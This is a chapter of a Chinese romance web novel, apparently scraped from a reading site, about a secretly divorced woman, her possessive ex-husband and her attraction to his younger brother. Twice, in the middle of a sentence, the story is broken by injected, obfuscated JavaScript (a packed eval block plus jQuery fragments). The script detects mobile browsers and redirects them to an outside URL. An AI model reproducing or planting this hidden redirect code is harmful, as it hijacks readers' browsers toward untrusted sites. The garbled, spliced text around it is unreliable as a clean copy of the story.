演出一票难求,听褚铎的意思他也是今天才托人办的,能在这么短时间拿到VIP包厢票,首城之内恐怕也没有几个人。
包厢里空调开得很足,尤伽把外套披上,与褚铎隔着桌子坐下。
她身体不适,只能强打精神,扫了一眼曲目单,算着还有几首结束。
撑到后半程,依旧没有第三个人进来。台上正演奏到节奏很快的一首作品,各种打击乐的重音急促而有规律地响起,尤伽感受不到丝毫音乐美感,只觉得是在给跳动着疼的太阳穴打节拍器,音乐越快她越疼。
她侧头看向褚铎,正欲开口询问他今晚到底是什么场合,却见他拿出震动的手机,抬手示意她稍等,然后便退出包厢去接电话了。
没一会儿,包厢门再次打开,尤伽以为是褚铎回来了,结果回头一看,侍者端着醒好的干红走了进来。
尤伽头更疼了,不禁用手撑着头,无奈闭眼。
褚铎回来后,正看到她神情不耐地抱臂坐着,手侧酒杯一动未动。
他在原地停了一下,手机在手里转了两圈。片刻,转身带上门,回到座位。
“不喜欢吗?”
尤伽方才有些出神,听到声音下意识看过去。
对上褚铎温和目光,她顿了下,摇头。
“不是。我有些不……”
“要尝尝吗,这款应该不太常见。”
褚铎把尤伽的酒杯举起来,递到她眼下。
她看了看杯中晃动着晕开的深色酒红,在不算明亮的灯光下,有种粘腻的血感。
像要把她卷进漩涡里,无声吞没。
她没有接。
“我不太舒服,不是很想喝酒。还有其他人要来吗?是私下聚会,还是有生意要谈?”
尤伽任由褚铎的手臂举在半空,抬起头,直视着他平声道。
褚铎眼神微动,他收回杯子,转了半圈,放下。
“没有其他人,只有我们。”
尤伽几乎脱口而出:“那我们为什么在这里?”
褚铎回望她,没有回答问题,转而问:“是哪里不舒服?”
“头疼。这里太闷了。”
“不然我带你去吹吹夜风?也许会好一点。”
“褚铎。”尤伽严肃了语气,连名带姓叫他,“你今天怎么了?”
褚铎指腹摩挲着杯柄,神色和声音都掩在昏暗中。
“我只是觉得有些可惜,我们难得有独处的机会,所以我特意带了这瓶酒。可是你好像不喜欢,小伽。”
一曲结束,灯光变幻,滑过褚铎眼睛的瞬间,尤伽似乎看到上面蒙着一层沉雾。
说不清,道不明,陌生而冷漠。
“为什么要独处?我们离婚了。”
“离婚了,所以必须划清界限吗?”
“我不知道你在说什么。”尤伽一字一顿,语气逐渐加重,“没有别的事情的话,我先回去了。”
她还未动身,听到褚铎似乎轻笑了一声。偏头看去,男人薄唇一侧微勾,那层雾被吹散了,露出眼底暗流翻涌,神情却仍是平静无波。
“急着探望病人?”
尤伽一时未反应过来他在说什么,缓了半刻后,眉毛毫不掩饰地拧在一起。
她感受到了切肤的冒犯。
“褚铎,别太过分。”
话落,尤伽起身拎起包,离开了包厢。
-
不久便是成司镜生日。
尤伽下班回家换了身衣服就去往城北公馆,到的时候已经有些晚了,推开沉重的大门,入眼便是人头攒动,灯红酒绿,好不热闹。
她穿过人群,找着徐苓和成司镜。
鼓点强劲的音乐敲击着尤伽的神经,空气中弥漫着混杂的酒气,肌肤蹭触,体表温度逐渐攀升。
这样的场合,她实在久违了。
“伽伽!”
徐苓在二楼栏杆处使劲往外探出身子,扯着已经半哑的嗓子喊她。
尤伽招手示意,顺着旋转楼梯往上走。
成司镜正和几个男男女女开着一轮游戏,只来得及和尤伽打个招呼,让徐苓先带她玩。
尤伽找了个相对人少的位置,拿了杯酒,方才来得急,她正渴得要命。
“伽伽,怎么才来啊。”
徐苓穿了一件挂脖抹胸,牵着一个细皮嫩肉的小男生坐在尤伽身边。
“下午去新星签约了,刚结束,庆功宴都推了。”
“真签了?签了多少?”
尤伽右手伸出手指,在徐苓眼前晃晃。
“真牛啊尤姐,这么成熟的大平台都能让你挤进去分一杯羹。”
徐苓由衷赞叹,放下杯子给尤伽呱唧两下。
尤伽摆摆手:“面子是褚铎的,钱是家里出的,我充其量……就是个代理人的作用。”
“跟我还谦虚,没劲。不过新星老板不知道你俩离婚的事吗?”
“不知道,明里暗里提了几次褚铎,我没有正面回答,看他们理解了。”
尤伽使了个眼色,聊到离婚话题还是有些敏感,徐苓也很心领神会地把身边人都撵走了。
“那以后消息公开了怎么办?”
“签都签了,能怎么办。我也没有骗他,只是没有明说而已。”
新星是国内体量最大的传媒平台,尤伽早就有入股的想法,为以后尤氏的宣传铺路。半年前借褚铎的关系和新星老板搭上线,她知道这笔生意能谈下来其实是靠褚铎的身份,但对她来说,只要能做到,无所谓过程。
“行,那今天顺便给你庆功了,我去叫司镜。”
徐苓是个闲不住的,一溜烟人没了影,尤伽无奈,推了推手边已经空了的杯子,抬头随意扫了眼。
正好看到刚才那个小男生还站在不远处,他手边就是一排新的酒,尤伽勾了勾食指,示意他拿酒过来。
男生很有眼力见,拿了酒,还带了冰桶,恭恭敬敬放在尤伽眼前。
她笑笑,正要给他腾位置,却没料到人放下酒就后撤了两步,腼腆着笑。
“尤总,您慢用。”
说完,转身就走了。
尤伽不免一愣。
这是什么意思?
成司镜找来的人,不会不懂事,见他方才贴着徐苓的样子,很明显懂业务,怎么见了她就绕道走了?
尤伽一头雾水,兀自待了一会儿终于察觉不对。不少与那个男生一样负责热场的人,从她跟前路过都会客客气气地叫一声“尤总好”,但就是没一个往她身边走的,打完招呼全都脚底抹油,溜之大吉。
“哎,你怎么还一个人坐着呢?没有喜欢的呀,叫司镜再给你叫。”
徐苓咋咋呼呼地拽着成司镜过来了。
尤伽郁闷极了:“我还想问呢,他们见了我都跑什么呀?”
成司镜一听就不乐意了,她组的场子,哪有怠慢朋友的道理,立刻窜了火跑去找人兴师问罪。
结果没一会儿,一脸戏谑地回来了。
“问清楚了,还真不能怪人家。你顶着‘褚太太’的名头,给他们十个胆也不敢跟你扯上关系啊。”
尤伽听得两眼一黑,扶额无语。
“好有道理。”徐苓不嫌事大地插嘴,“你家褚总……现在确实有点惹不起。”
“少说两句吧,伽伽都要上火了。”
成司镜嘴上安慰尤伽,实际却忍笑忍到咳嗽,和徐苓一起十足十两张看戏的脸。
“这婚到底什么时候才能彻底离完?”尤伽灌了杯酒,忿忿不平,“我还要无聊多久?”
“确实是苦了你了,空有单身女人的身份,享受不了单身女人的乐趣。”
成司镜盯着尤伽愁容看了会儿,眼睛眯起来,小脑瓜里显然转起了不正经的主意。
果然,下一秒就听她道:
“其实也没那么无聊,你家里一个前夫一个炮/友,还不够刺激啊?”
尤伽听了,头更大了:“我和褚铎已经离婚了,我是不会吃回头草的。至于乐绮……”
“乐绮怎么了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330224|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尤伽想了想,耸耸肩,摇了摇头。
“更算了。”
“他不行?”
“不行”两个字被成司镜念得格外重。
“哪跟哪啊。”尤伽拿指尖戳她,“就是太麻烦了。”
“我不懂,这不是现成的乐趣。”
“他跟褚铎毕竟是兄弟,牵扯太深实在麻烦。我最怕麻烦。”
上次夜宵后,与他讲明界限也是为此。
尤伽不愿和两个有血缘关系的男人纠缠不清。
但到底是被成司镜的话撩动了心思,尤伽脑海中开始不断闪过乐绮的脸,每喝一口酒,就闪一个画面。
笑的,不笑的,生气的,闹别扭的,眼眶通红又湿润的。
可想来想去,末了,她还是挥散了那些虚无缥缈的想法。
到最后,心里那一点点动摇变成了可惜。
可惜,他如果不是褚铎的弟弟就好了。
-
尤伽和他们玩到后半夜,酒喝了不知道多少轮,酒量颇佳的人也有些半醉了。
中途,来了个电话,她没看,直接接起来。
“喂?”
那边顿了顿,才回。
声音有些冷沉。
“你喝酒了?”
尤伽拿下手机来,看到屏幕上“乐绮”两个字,又放回耳边,“嗯”了声。
“很晚了。”乐绮的声线柔和下来,“还不回家吗?”
“一会儿就回。”
“有人接你吗?”
“不知道。”
乐绮叹了口气。
“在哪?”
“我吗?城北公馆。”
“知道了。”
电话挂断,尤伽没太在意,和游戏桌上的人说了声抱歉,就又抽起牌。
只是没想到,半小时不到,乐绮真的站到了她面前。
她半靠在沙发上,狐狸眼半眯着,混乱的灯光在她眼中变成细细闪动的条纹,令人晕眩。
她就那样仰着脸看他,红唇湿润,一言不发。
周围有人认出了乐绮,顿时与旁人交头接耳起来,一传十,十传百,很快,场子里的人基本都知道乐家小少爷来了。
有个看着与乐绮还算熟络的男生走过来,拿肩膀一撞他。
“乐绮,你怎么来了?”
乐绮的视线始终落在尤伽身上,唇角弯了弯,和声答:
“来接嫂子回家。”
语毕,不管旁人眼光,弯腰朝尤伽伸出手。
成司镜和徐苓自然一听说这边的热闹就往过赶,到时正好听到这句话,恨不能把对方大腿掐红了才没笑出声来。
成司镜凑过去,与尤伽附耳。
“跟不跟你‘小叔子’回家啊?这么多人看着呢。”
尤伽低下头,坐起身,手撑了下沙发,站了起来,没有理睬乐绮扶她的动作。
嘴里只道:“没劲。”
她朝身后挥挥手,示意成司镜和徐苓先撤了,脚下飘忽地往外走。
没两步,胳膊上覆上一只冰凉的手,薄茧磨在光滑肌肤上,微硬又痒。
长发盖住尤伽侧脸,她不易察觉地扬了扬唇,转瞬又落下。
就这样一路走到了乐绮车上。
乌云盖顶,月色朦胧不清,灰蒙蒙的夜雾包裹着跑车亮起的灯柱。
实在是个人影难分的坏天气。
乐绮俯身将尤伽的安全带系好,正要回位时,被托着腮不知道想什么的人忽然伸手一拽。
险些栽在她身上。
夜风习习,凉意钻骨,乐绮却能感受到体温如有实质般陡然飙升。
他听到自己急迫加速的呼吸拥挤地撞在两人之间,想动却动弹不得,被尤伽两根手指勾着,似牢狱压顶。
“怎么了?”
他几乎听不到自己的声音,完全依靠本能在带动声带。
尤伽终于正眼瞧了他。
就着夜色,仔仔细细、不声不响地瞧他。
眼尾泛了一圈红的人,沾了雾气,点点水珠挂在睫上,衬得一双桃花眼真是可怜又勾人。
尤伽那点不安分的心思借着酒劲,又窜了出来。
乐绮着实生了张一顶一的脸,也许是褚铎看腻了,她现在觉得,乐绮似乎更合她心意。
身材也是没得说,光是靠近,她就能看清单薄衬衫下隆起的肌肉形状。
又会唱歌。
还会叫姐姐。
真是可惜。
“到底怎么了?”
乐绮实在忍不住,又问了声。
一声长叹,尤伽把心里那点想法真情实感地舒了出来,末了,凑近他的唇,停在咫尺,不无遗憾地真诚道:
“要是真能和你玩就好了。”
乐绮的脑子还没有反应过来,耳尖先“噌”地红了。
他一把推开尤伽,回过神,快速喘息着。
上下紧绷,血液倒流,乐绮几乎用尽全身力气,才控制住方才喷涌的欲望。
不可置信的眼神迟缓转回尤伽身上。
这句意味不明的话,无疑是在凌迟他的尊严。
像那无数次熬人的梦一样。
凌迟着,兴奋着。
他又一次臣服在她的欺辱之下。
乐绮的嘴唇微张,想问她什么意思。
但尤伽已经恢复了理智,有些后悔脱口而出的真言。
为免麻烦,她干脆半翻过身,合上眼睛,装起了醉。
嗓音温吞。
“回家吧,老公。”
19. 救场
怔愣之后,乐绮很快明白了她的意思。
她又将他认成了褚铎。
急速上升的体温骤降,撞在脸上的冷风吹醒他一切不合时宜的幻想。
心跳几近病态地回归平常。
甚至越跳越慢。
乐绮将方向盘攥得死紧,眼睛紧盯着尤伽呼吸起伏的鼻翼。
有一瞬间,他有一种冲动,想扯紧她,让她好好看清他到底是谁。
最终却什么都没有做。
比起愤怒,他更害怕。
他至今仍记得那晚在纪家别墅,尤伽发现他不是褚铎后,眼神中瞬时切换的失望和抗拒。
冷漠而无情。
深呼吸几次,乐绮僵直着转正了身子,系好安全带,合上敞篷。
踩下油门疾驰而去,低吼车音消失在无人街道。
-
到家时,尤伽自己醒了过来。
朦胧看了眼周围熟悉而静止的景物,她揉揉眼睛,瞥向一旁静默坐着的人。
“到了?怎么不下车。”
刚刚睡醒,又喝了许多酒,她嗓子哑得厉害。
乐绮没有回应,听到她的声音,打开车门,独自走了下去。
尤伽透过前窗看他背影,“啧”了一声。
入秋已有时日,白日闷热,夜里却阴凉。尤伽慢悠悠地迈下车,长久不动后被冷空气猛地一激,小腿感觉一阵抽搐,还没站起来就又坐了下去。
原地叹了口气,她看看抽筋的腿,索性靠着车座再歇会儿。
一早就下车的人根本没走远,听到动静,停顿了下,又折返回来。
撑开副驾驶的车门,乐绮面无表情地弯下腰,将人从座位中拦腰抱出来。
尤伽手里的包险些掉在地上,她下意识抓紧,抬眼就对上顶级雕工的下颌线。
动作间碰了她还没缓过劲来的小腿,尤伽不禁倒吸一口气,接着便感觉乐绮步速慢了些。
“倒也……不用。”
她低声呢喃,鼻尖灌满了雪松香。
耳边是快要炸开的心跳声。
尤伽仰脸去看紧抿双唇一言不发的人,生着气的眼睛更漂亮了,不像盈了水时那样红,而是发着淡粉,睁得极大,像要把对她的气全瞪出来。
她忍不住扑哧一乐。
确实还是弟弟可爱一些。
“心脏还受得了吗?”尤伽伸手按上他的左心房,葱白手指轻轻压了压,“怎么越来越快了?”
“尤伽!”
乐绮压着嗓音吼她,正好也走到了家门口,直接将人往地上一放。
尤伽再次适时装醉。
“头晕。”她挡着脸,不去看乐绮比火把还亮的眼睛,“太晕了。”
乐绮憋了一肚子气,跟在尤伽身后进门,刚要再与她理论,恍然看到客厅亮着微弱的灯光。
昏黄地灯幽幽环绕,映出沙发一侧轮廓不明的人。
乐绮一愣。
尤伽倒是没什么反应,看到褚铎坐在客厅,随口问了句:“怎么还不睡?”
问完却根本不关心答案,自顾自换鞋放包,疲惫地往里走。
“你们去哪了?”
“我没跟你说么?今天司镜生日。”
她走到茶几旁倒了杯凉水,抱着杯子仰头灌下半杯。
上次音乐会后,她与褚铎又恢复了往常,不近不远,不亲不疏,没有人再提那天的事。
“你呢?”
褚铎的视线扫向乐绮。
“嫂子喝多了,我去接她。”
乐绮走到厨房拿出临走之前泡好保温的蜂蜜水,回到客厅,换走了尤伽手里的杯子。
“早点休息。”
尤伽眼神微动,抬眸浅笑。
“谢谢。”
乐绮上楼后,客厅只剩下两人。
尤伽喝过蜂蜜水,陷在沙发里缓了缓,便准备起身。
褚铎忽然于阴暗处开口。
“你们这样,是不是不太合适。”
沉沉响起的声音,比沾染在身上的寒气更加寂冷。
尤伽停住动作:“哪样?”
“那里应该有很多人,乐绮不懂事,至少你不该陪着他闹。”
“那你还要我怎么做?”
喝了酒,尤伽也有些郁气在身,难得与他争论起来:“褚铎,配合你无限期隐瞒离婚,我已经仁至义尽,难道我不过自己的生活了吗?”
褚铎坐在尤伽斜对侧,他偏头看她,两指微微转着婚戒,语气平淡。
“你选谁都可以,唯独不能是乐绮。他是我弟弟。”
“你弟弟,所以呢?”
“小伽。”
“我和你弟弟有牵扯,让你感觉丢人了吗?”
尤伽毫不在意地哼笑了一声,站起身,俯视着他:“褚铎,一段真的婚姻都不能限制我什么,何况是假的。”
她扔下这句不轻不重的话,抬步往前走。
“小伽。”
意料之外地,褚铎又唤了她一声。
她脚下微顿,回身不语。
“最多两个月。”他说着请求的话,言语间却是一贯的不容置喙,“十一月底有一个很重要的项目,不能出错,拿下之后,我们两清。”
尤伽笑意嘲弄。
“祝你成功,褚总。”
-
往后几日,尤伽连乐绮的面都没见到。
有时乐绮明明在家,她找人叫他吃饭却叫不出来。次数一多,她也懒得再管。
这天临下班前,尤伽听姜春和说,才知道乐绮今天来公司签约了。
“什么时候来的?”
“一个小时之前吧。”
“都聊了什么?”
“没聊什么,就是定了下个节点期限。”
“人呢,签完就走了?”
“唔……好像是。”
尤伽鼻子哼气,拎起外套和包:“城南新开那家酒吧,晚上有朋友叫我去,要介绍几个客户,你去吗?”
“私下介绍那种?”
“嗯,就是认识一下,不是应酬,你要是不想去就算了。”
“那肯定得去,我都在网上刷到好几个帖子repo他们家歌手超帅了,早就想去,白蹭的更好!”
尤伽一脸意料之内。
“就知道。走吧,先去吃点东西。”
-
乐绮从尤伽的公司出来,没有回家,开着车,漫无目的在街上兜转。
最后绕到了城南,离褚铎的别墅几乎横跨半个首城,他才勉强选了家招牌比较大的酒吧门口停下。
进去的时候还不到傍晚,人不多,他没有选卡座,找了个吧台的角落位置。
一杯又一杯,残月替圆日。
那晚的事,他几乎时时刻刻都在想。
想得多了,就像磨细的玉,细枝末节都抹去,只剩下最刺眼的一个画面。
尤伽毫厘之外的唇,水
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356049|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莹莹的,带着微甜酒气,对着他说话。
可那句话是说给褚铎的。
每每想到这里,乐绮就像没入陈年井水,苦涩难言。
他当然贪恋尤伽的气息。一颦一笑,一呼一吸,他恨不得统统揉在自己身体里,占为己有。
可是他知道,尤伽只有把他认成褚铎的时候,才会那样主动与他亲近,才会有属于她的热气拂在自己脸上。
乐绮毫无办法。
总不能下贱到真把自己变成褚铎的替身来接近她。
越发无法控制的欲念日夜折磨乐绮,他斗不过,干脆将自己关起来,不与尤伽见面。
可躲着终究不是办法,渴望无法被填满,就会寻求其他的宣泄出口。他这些天几乎夜夜做梦,甚至那些梦不再只是简单粗暴的欲望化身,而是渐渐变成了日常甜蜜的幻想。
所有的梦都是尤伽。
他不再满足于过往,越来越贪心,想象着自己站在她身边的样子。
他知道自己没救了。
杯里的酒一口闷掉,乐绮叫来调酒师,又点了一杯。
“帅哥,一个人啊?”
一个女生伏上吧台,与乐绮贴得极近,浓烈的晚香玉香水窜鼻。
他皱眉往后仰了仰,结果身后也传来声音。
“不如跟我们一起?姐姐请你喝酒。”
乐绮回头看去,扫视几眼,看出三人是一起的。
他面色渐冷,出声拒绝。
“不用,谢谢。”
“别害羞嘛,”晚香玉女士显然有些喝上头了,吟吟笑着托腮看他,“一起玩呗。”
乐绮蹙眉,一个还好应付,三个人将他包围住,实在有些难缠。
他不想搞出太大动静,沉默几秒,耐着性子回应。
“你们的酒我请了,我想一个人待会儿,抱歉。”
“呦,还是个阔气的弟弟,那更得喝一杯了。”
乐绮的忍耐即将到达限度,他不悦地抬起视线,一只腿已经落地,准备强硬离开。
正要说什么,忽然透过攒动的人群,看到不远处一个熟悉的身影。
他心下微动,收回了动作。
拿出手机发送消息。
乐绮:【吧台这边。】
他看到尤伽看了消息,接着又发一条。
乐绮:【帮我一下。】
尤伽的视线搜寻半圈,很快锁定隔空盯着她的人,一眼明白怎么回事。
她嫣然一笑,收起手机,毫不犹豫地转身离开。
乐绮看着她的背影掩在人群之后,很快消失不见。
他心灰意冷,垂下视线,神情更加不悦,出口语气不再礼貌。
“是想听更直接的拒绝吗?”
三人中的另一位听到他出言不逊,也来了脾气。
“这就没劲了,好心请你喝酒,弟弟,别不领情啊。”
“我好心请你们喝酒,你们是不是也应该领情?”
乐绮右手扣在桌面,微微鼓起,指节有一下没一下敲着。
目光沉抑,缓缓停落在对面几人脸上。
最初搭话的女生许久没出声,看着他们对峙,末了,忽然笑开。
“有点意思。”
乐绮正欲开口,突然肩膀一沉,一只手搭了上来,紧接着,耳边掠过一阵温热。
“当着我的面开小差,这就不对了吧。”尤伽捏着他的耳垂笑嗔,“我可是付了你钱的,弟弟。”